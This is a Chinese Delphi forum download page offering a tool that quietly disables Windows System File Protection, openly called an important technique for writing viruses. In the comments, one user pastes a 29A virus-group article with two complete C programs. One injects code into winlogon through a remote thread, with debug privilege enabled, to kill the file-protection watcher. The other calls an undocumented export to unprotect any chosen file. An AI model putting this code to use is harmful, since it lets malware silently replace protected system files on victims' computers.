捐赠 | 广告 | 注册 | 发布 | 上传 | 关于我们    
  粤ICP备10103342号-1 DELPHI盒子 | 盒子文章 | 盒子问答悬赏 | 最新更新 | 盒子检索 | 下载中心 | 高级搜索    
  精品专区 | 繁體中文 | 奖励公告栏 | 直通车账号登陆 | 关闭GOOGLE广告 | 临时留言    
盒子资源分类
全部展开 - 全部合拢
去掉 Windows 的文件保护功能
关键字:SFC WinLogonProcess DllCache 文件保护
来 自:原创
平 台:Win2k/XP/NT,Win2003 下载所需:0 火柴
深浅度:高级 完成时间:2006/11/9
发布者:wr960204 发布时间:2006/11/9
编辑器:BDS2006 语  种:简体中文
分 类:系统 下载浏览:2034/11973
加入到我的收藏
下载错误报错
登陆以后才能下载
 用户名:
 密 码:
自动登陆(30天有效)
图片如果打不开,说明流量不够了,请稍候下载……
去掉Windows的文件保护功能.
做病毒的一个重要技术.Windows2000/XP对系统文件进行了保护,不能被修改.只要修改它就会自动用DLLCACH中的文件替换回去.如果我们连DLLCHACH中的文件一并改了的化Windows会提示系统文件错误.让你插入安装光盘恢复.
我们这里做的就是悄悄的去掉Windows的文件保护功能.
Google
 
本站原创作品,未经作者许可,严禁任何方式转载;转载作品,如果侵犯了您的权益,请联系我们
龙脉加密锁 15元起 Grid++Report 报表 申请支付@网
 相关文章
没有相关文章
相关评论
共有评论17条 当前显示最后6条评论
hwhohwh 2006/11/10 23:17:30
至于如果查RootKit隐藏的进程,大家可以看一下俄罗斯大牛Ms-rem的代码。我记得好像是phunter(Process Hunter),内核驱动是用C写的,界面是用delphi写的,很不错的,值得一看,但是它也不能查出所有被隐藏的进程。
hwhohwh 2006/11/10 23:39:04
其实29A里早有牛人总结出了方法,和这个不一样的,我贴上来大家看一下可以很容易转成delphi的代码。
          .SFP revisited.
          .by Ratter/29A.

.Intro.
SFP again?you probably say reading the title of this article. Well
because i found two nice ways to get rid of this i will bother you
once more with it :-)


.Method #1 - The compatible one.
This is the very compatible method i found reversing some Microsoft
utitities. It is used by them to let them modify the protected files.
So here is how it works:

It uses an undocumented export from sfc.dll #2 which name is
SfcTerminateWatcherThread. It does exactly what it says :-) It
terminates the Watcher Thread ie the thread that handles the
directory change notifications. So we will call this function in the
context of winlogon thus disabling the SFP on the box. I wrote an
article about infecting winlogon so just to remember: first you need
to adjust privileges, enable SeDebugPrivilege. This can be 
done only from administrator account or under an account that has
SeDebugPrivilege assigned to it. The rest is just invoking function
in remote thread, read the code.

This method works on Win2k, WinXP and i bet it will work on W2k3 but
currently don't have access to this so haven't tested. If you do, pls 
test it and let me know.

Btw you maybe ask, how it is possible that this works on XP boxes
also when sfc.dll no longer handles the SFP? Well #2 export from
sfc.dll is redirected to sfc_os.dll :-)

---- beginning of sfc_disable.c ----
#include <windows.h>
#include <assert.h>
#include <stdio.h>

#pragma check_stack (off)

DWORD thread_func (FARPROC sfc_terminate)
{
   sfc_terminate();
   return 0;
}

void after_thread_func(void)
{
}
#pragma check_stack 

int adjust_privileges(void)
{
  HANDLE token_handle;
  int ret=0;

  if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token_handle))
  {
    LUID luid;
    if(LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid))
    {
      TOKEN_PRIVILEGES tk_priv;

      tk_priv.PrivilegeCount=1;
      tk_priv.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
      tk_priv.Privileges[0].Luid=luid;

      if(AdjustTokenPrivileges(token_handle,
          FALSE,
          &tk_priv,
          0,
          NULL,
          NULL)) ret=1;
    }
    CloseHandle(token_handle);
  }
  return ret;
}

void main(int argc, char **argv)
{
  HANDLE remote_thread;

  if(argc!=2)
  {
    printf("Usage: sfc_disable <winlogon_pid>\n");
    exit(0);
  }

  DWORD wpid=atoi(argv[1]);
  assert(wpid);

  HMODULE sfc=LoadLibrary("sfc.dll");
  assert(sfc);

  FARPROC sfc_terminate=GetProcAddress(sfc, (char *) 2);
  assert(sfc_terminate);

  assert(adjust_privileges());

  HANDLE process=OpenProcess(PROCESS_ALL_ACCESS, FALSE, wpid);
  if(!process)
  {
    printf("Error while opening process\n");
    exit(0);
  }

  LPVOID remote_mem=VirtualAllocEx(process,
          NULL,
          (SIZE_T) ((char *)after_thread_func-(char *)thread_func),
          MEM_COMMIT,
          PAGE_READWRITE);
  if(!remote_mem)
  {
    printf("Error while commiting memory in the remote process\n");
    goto clean_up;
  }

  if(!WriteProcessMemory(process,
          remote_mem,
          (char *) thread_func,
          (SIZE_T) ((char *)after_thread_func-(char *)thread_func),
          (SIZE_T *) 0))
  {
    printf("Error %d while writing to the remote process\n", GetLastError());
    goto clean_up;
  }

  remote_thread=CreateRemoteThread(process,
          NULL,
          0,
          (LPTHREAD_START_ROUTINE) remote_mem,
          // (LPTHREAD_START_ROUTINE) sfc_terminate
          (LPVOID) sfc_terminate,
          0,
          NULL);
  if(!remote_thread)
  {
    printf("Error while creating remote thread in the process\n");
    goto clean_up;
  }
          
  if(WaitForSingleObject(remote_thread, 10*1000)==WAIT_TIMEOUT)
    printf("Timeout occured while waiting for the remote thread\n");

  CloseHandle(remote_thread);

clean_up:
  if(remote_mem) VirtualFreeEx(process, remote_mem, 0, MEM_RELEASE);
  CloseHandle(process);
}
---- end of sfc_disable.c ----


.Method #2 - The nice one.
This method is the nicest one from all i'm currently aware of. It is
XP only (maybe W2k3??) and it's more or less some kind of a backdoor
of Microsoft :-) Where's the point?

When i was looking for changes in WinXP implementation of the system
file protection first i of course found, that SFP is now not in
sfc.dll but rather in sfc_os.dll so i fired up IDA and started to
look around the code. It didn't took so much time when i found it. In 
XP's implementation of SFP there exists a facility to disable SFP on
file basis for one minute. Don't you trust me? Then test it :-)

---- beginning of sfp_exc.c ----
#include <windows.h>
#include <assert.h>
#include <stdio.h>

typedef DWORD (* SFPEXC)(DWORD, wchar_t *, DWORD);

void wmain(int argc, wchar_t **argv)
{
  HMODULE sfc_os;
  SFPEXC sfp_exc;

  assert(argc==2);
  assert(sfc_os=LoadLibrary("sfc_os.dll"));
  assert(sfp_exc=(SFPEXC) GetProcAddress(sfc_os, (char *) 5));

  assert(!sfp_exc(0, argv[1], -1));
  wprintf(L"File %s should now be unprotected for 1 minute", argv[1]);
}
---- end of sfp_exc.c ----

For this method you have to use administrator account since the code
explicitly checks for it. It uses an undocumented export #5 named
SfcFileException that again does what the name says :-) It first
looks whether the file is protected and if it is, it assigns a flag
to it. Now when the watcher thread is invoked because of
replacement/modification/deletion of the protected file it first
checks, whether the file should be exceptioned. If it should, then it 
tests whether the exemption fits into one minute interval. If it does 
than voila it does nothing but goes on :-)


.Closing.
Hopefully these two little progs i showed you in this article will
make our work on SFP protected boxes more pleasant than it currently
is. And of course - if you have any ideas/suggestions, write me.

btw - watch the file size ;-)

--
Ratter/29A - I'm a stranger in the world I haven't made.
hwhohwh 2006/11/10 23:44:57
phunter好像在ms-rem的网站上已经没得下了(被黑了,卡巴斯基很生气,后果很严重
:D),但是在wasm.ru上大家可以搜索一下,可以下到的.
iceker 2006/11/11 9:08:22
每次用到 CreateRemoteThread  卡巴都提示 很是郁闷~
yuzi 2006/11/16 21:08:51
几位大侠,能否提供一个最新AFXCodeHook的下载地址呀?谢谢
liumazi 2006/11/27 19:57:48
有点意思 嘿嘿
我要发表评论 查看全部评论
 
  DELPHI盒子版权所有 技术支持:深圳市麟瑞科技有限公司 1999-2024 V4.01 粤ICP备10103342号-1 更新RSS列表